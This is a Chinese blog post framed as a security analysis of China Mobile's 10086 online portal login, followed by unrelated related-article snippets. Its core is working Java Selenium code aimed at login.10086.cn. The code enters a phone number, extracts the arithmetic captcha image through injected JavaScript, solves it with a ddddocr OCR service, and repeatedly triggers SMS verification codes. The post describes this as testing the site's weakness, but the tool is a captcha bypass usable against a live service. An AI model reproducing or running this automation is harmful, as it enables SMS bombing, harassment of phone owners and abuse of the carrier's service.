【10086网上营业厅-注册/登录安全分析报告】

embedded/2024/10/17 23:02:47/

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 中移网上营业厅 PC 注册入口

简介:中国移动网上自助平台
中国移动网上营业厅,是中国移动通信提供给客户进行业务受理、营销推广、信息查询的网上自助平台。“中国移动网上营业厅”分为全球通、动感地带、神州行、集团客户4大客户品牌的自助网上营业厅。
中国移动通信集团公司(简称“中国移动”)于2000年4月20日成立,注册资本为518亿元人民币,资产规模超过7000亿元,是2008年北京奥运会合作伙伴。中国移动网上营业厅是中国移动推出的网络交易、查询业务平台。

在这里插入图片描述
在这里插入图片描述

二丶 安全分析:

采用传统的图形验证码方式,具体为数字加减运算图形验证方式,ocr 识别率在 95% 以上。

测试方法:
采用模拟器+OCR识别

1. 模拟器交互


private static String INDEX_URL = "https://login.10086.cn/";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);WebElement tabElement = driver.findElement(By.id("J_pc"));tabElement.click();// 1 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("sms_name"), 1);phoneElemet.sendKeys(phone);// 2 获取图形验证码Thread.sleep(1 * 1000);String imgCode = null;byte[] imgByte = null;BufferedImage fullBI;String logic = "";WebElement imgElement = driver.findElement(By.id("captchaImg2"));boolean isPlus = false;byte[] allByte, logicByte = null, n1Byte, n2Byte;long t = System.currentTimeMillis();WebElement sendElement = null;String n1 = null, n2 = null;for (int i = 0; i < 6; i++) {t = System.currentTimeMillis();imgByte = GetImage.callJsById(driver, "captchaImg2");if (imgByte == null || imgByte.length < 100) {System.out.println("imgByte=" + imgByte);imgElement.click();continue;}fullBI = ImageIO.read(new ByteArrayInputStream(imgByte));allByte = picCut(fullBI, 10, 120);String imgCodeAll = ddddOcr.getImgCode(allByte);// System.out.println("imgCodeAll=" + imgCodeAll);ddddOcr.saveFile("Cmcc/", imgCodeAll + "_" + t, imgByte);Integer[] retA = this.opMatch(imgCodeAll);if (retA != null && retA.length >= 2) {n1 = DigitFormat.getDigit(imgCodeAll.substring(0, retA[1]));n2 = DigitFormat.getDigit(imgCodeAll.substring(retA[1] + 1));isPlus = retA[1].compareTo(0) >= 0;logic = (isPlus) ? "+" : "-";imgCode = logic(n1, logic, n2);} else if (imgCodeAll.length() >= 4) {n1Byte = picCut(fullBI, 13, 44);n2Byte = picCut(fullBI, 84, 44);logicByte = picCut(fullBI, 54, 32);n1 = DigitFormat.getDigit(ddddOcr.getImgCode(n1Byte));n2 = DigitFormat.getDigit(ddddOcr.getImgCode(n2Byte));logic = ddddOcr.getImgCode(logicByte);isPlus = (logic != null && plusSet.contains(logic));logic = (isPlus) ? "+" : "-";imgCode = logic(n1, logic, n2);}if (imgCode != null && imgCode.length() > 0) {// 3 输入识别出来的图形验证码WebElement codeInputElement = driver.findElement(By.id("inputCode2"));codeInputElement.sendKeys(imgCode);// 4 获取验证码sendElement = driver.findElement(By.id("getSMSPwd1"));sendElement.click();Thread.sleep(1000);WebElement errElement = ChromeDriverManager.waitElement(driver, By.id("captcha_error2"), 1);String err = (errElement != null) ? errElement.getText() : null;boolean isOk = (err != null && err.contains("验证码有误"));if (!isOk) {break;}}imgElement.click();Thread.sleep(1 * 1000);}String gtInfo = (sendElement != null) ? sendElement.getText() : null;retEntity.setMsg("[" + n1 + logic + n2 + "=" + imgCode + "]->" + gtInfo);if (gtInfo != null && gtInfo.contains("重新获取")) {retEntity.setRet(0);ddddOcr.saveFile("Cmcc/ok/", n1 + logic + n2 + "_" + t, imgByte);return retEntity;}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {if (driver != null)driver.manage().deleteAllCookies();}}

2. 获取图形验证码


public static byte[] callJsById(WebDriver driver, String id) {return callJsById(driver, id, null);}public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";js += "let base64String = c.toDataURL();return base64String;";String src = ((JavascriptExecutor) driver).executeScript(js).toString();String base64Str = src.substring(src.indexOf(",") + 1);if (base64 != null) {base64.append(base64Str);}byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;return vBytes;}

3.图形验证码识别(Ddddocr)


public String getImgCode(byte[] bigImage) {try {if (ddddUrl == null) {System.out.println("ddddUrl=" + ddddUrl);return null;}long time = (new Date()).getTime();HttpURLConnection con = null;String boundary = "----------" + String.valueOf(time);String boundarybytesString = "\r\n--" + boundary + "\r\n";OutputStream out = null;URL u = new URL(ddddUrl);con = (HttpURLConnection) u.openConnection();con.setRequestMethod("POST");con.setConnectTimeout(10000);con.setReadTimeout(10000);con.setDoOutput(true);con.setDoInput(true);con.setUseCaches(true);con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);out = con.getOutputStream();if (bigImage != null && bigImage.length > 0) {out.write(boundarybytesString.getBytes("UTF-8"));String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";paramString += "Content-Type: application/octet-stream\r\n\r\n";out.write(paramString.getBytes("UTF-8"));out.write(bigImage);}String tailer = "\r\n--" + boundary + "--\r\n";out.write(tailer.getBytes("UTF-8"));out.flush();out.close();StringBuffer buffer = new StringBuffer();BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));String temp;while ((temp = br.readLine()) != null) {buffer.append(temp);}String ret = buffer.toString();if (ret.length() < 1) {System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());}return buffer.toString();} catch (Throwable e) {logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());return null;}}public void saveFile(String factory, String imgCode, byte[] imgByte) {try {String basePath = ConstTable.codePath + factory + "/";File ocrFile = new File(basePath + imgCode + ".png");FileUtils.writeByteArrayToFile(ocrFile, imgByte);} catch (Exception e) {logger.error("saveFile() " + e.toString());}}

4. 图形OCR识别结果:

在这里插入图片描述在这里插入图片描述

5. 测试返回结果:

在这里插入图片描述

三 丶测试报告 :

在这里插入图片描述

四丶结语

中国移动通信集团公司(简称“中国移动”)于2000年4月20日成立,注册资本为518亿元人民币,资产规模超过7000亿元,是2008年北京奥运会合作伙伴。中国移动网上营业厅,是中国移动通信提供给客户进行业务受理、营销推广、信息查询的网上自助平台。作为运营商中的龙头企业, 技术实力也应该不错,但采用的还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》


http://www.ppmy.cn/embedded/126882.html

相关文章

matlab不小心删除怎么撤回

预设项——>删除文件——>移动至临时文件夹 tem临时文件夹下

基于深度学习的手术中的增强现实导航

基于深度学习的手术中的增强现实&#xff08;AR&#xff09;导航技术是一种结合了先进的计算机视觉算法、深度学习模型与增强现实技术的创新应用。其主要目的是为外科手术提供实时的、精确的手术指导&#xff0c;帮助医生在复杂的手术过程中更好地理解患者的解剖结构&#xff0…

数据仓库中的维度建模:深入理解与案例分析

数据仓库中的维度建模&#xff1a;深入理解与案例分析 维度建模是数据仓库设计中最常用的一种方法&#xff0c;旨在简化数据访问、提高查询效率&#xff0c;特别适用于需要对数据进行多维分析的场景。本文将深入探讨维度建模的核心概念、设计步骤以及如何将其应用于实际案例中…

Sample Size Estimation 样本量估算(1)

Sample Size Estimation 样本量估算 Original Author: Jonathan Berkowitz PhD 原作者:Jonathan Berkowitz博士 PERC Reviewer: Timothy Lynch MD PERC审核人:Timothy Lynch医学博士 Objectives 目标 To understand the issues related to sample size and to be able to est…

微信小程序不支持font-weight:500

小程序的font-weight只支持&#xff1a;normal、bold、bolder和lighter。 normal 正常粗细。与 400 等值。 bold 加粗。与 700 等值。 lighter 比从父元素继承来的值更细 (处在字体可行的粗细值范围内)。 bolder 比从父元素继承来的值更粗 (处在字体可行的粗细值范围内…

C语言内存函数详解

文章目录 memcpy函数memmove函数memset函数memcmp函数 memcpy函数 void * memcpy ( void * destination, const void * source, size_t num );内存函数头文件是#include<string.h> 函数memcpy从source的位置开始向后复制num个字节的数据到destination指向的内存位置。 这…

基于Arduino的泡茶机器人

打造你的完美泡茶助手 引言 你是否曾遇到过泡出的茶太淡或太苦&#xff1f;通过这个项目&#xff0c;你可以创建一个设备&#xff0c;为你的茶包提供完美的浸泡时间。只需附上一个茶包并放置你的杯子&#xff0c;设备就会开始工作&#xff01;它将完美地按照你的喜好浸泡你的…

OceanBase管理着工具-oat安装

https://www.oceanbase.com/softwarecenter-enterprise https://www.oceanbase.com/docs/enterprise-oat-doc-cn-1000000000762607 (base) [rootlnpg soft]# pwd /db/ob/soft (base) [rootlnpg soft]# ll 总用量 4274536 -rw-r--r-- 1 root root 1730447360 6月 26 14:06 oa…